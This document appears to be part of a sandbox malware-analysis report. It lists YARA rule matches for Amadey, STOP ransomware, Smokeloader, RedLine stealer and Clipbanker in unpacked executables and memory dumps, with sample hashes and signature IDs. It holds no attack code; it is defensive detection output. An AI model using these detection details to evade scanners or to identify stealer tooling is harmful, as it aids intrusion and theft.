Source: 16.0.374E.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 50.2.C06.exe.23415a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 50.2.C06.exe.23415a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.2.C06.exe.24015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.2.C06.exe.24015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.2.yiueea.exe.2c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 15.2.C06.exe.23215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.2.C06.exe.23215a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 28.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 28.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 28.2.C06.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 28.2.C06.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 31.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 31.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 41.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 41.2.C06.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 31.2.C06.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 31.2.C06.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.2.C06.exe.23215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.2.C06.exe.23215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000020.00000002.2425606008.00000000020B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1746361183.00000000008AA000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1746495018.0000000002351000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000032.00000002.2622843154.00000000021A4000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000020.00000002.2425763443.0000000002221000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000007.00000002.2007648525.0000000000738000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000023.00000002.2433596886.000000000255D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000012.00000002.2324274477.0000000002277000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000020.00000002.2425306987.0000000000608000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000000.2281454429.0000000000E01000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 00000011.00000000.2288036934.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 00000000.00000002.1746454910.0000000002330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000001E.00000002.2313452873.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 0000001C.00000002.4133525331.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001C.00000002.4133525331.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000001E.00000000.2312516328.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 0000002C.00000002.2602223734.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000002C.00000002.2602223734.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000F.00000002.2302460111.000000000217C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000020.00000002.2425574337.00000000020A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000007.00000002.2007809897.0000000002111000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000029.00000002.2555352471.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000029.00000002.2555352471.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000022.00000002.2441220618.00000000023F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000007.00000002.2007419730.00000000006C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000021.00000002.2642267727.0000000004D21000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000032.00000002.2622961191.0000000002340000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000007.00000002.2007384509.00000000006B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000002C.00000002.2600617926.00000000008DD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.2288944842.0000000000E01000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 00000022.00000002.2440436850.0000000002156000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000012.00000002.2324721970.0000000002400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.1746162536.00000000006B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000008.00000002.2249920572.0000000002289000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000011.00000002.4132494620.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
Source: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
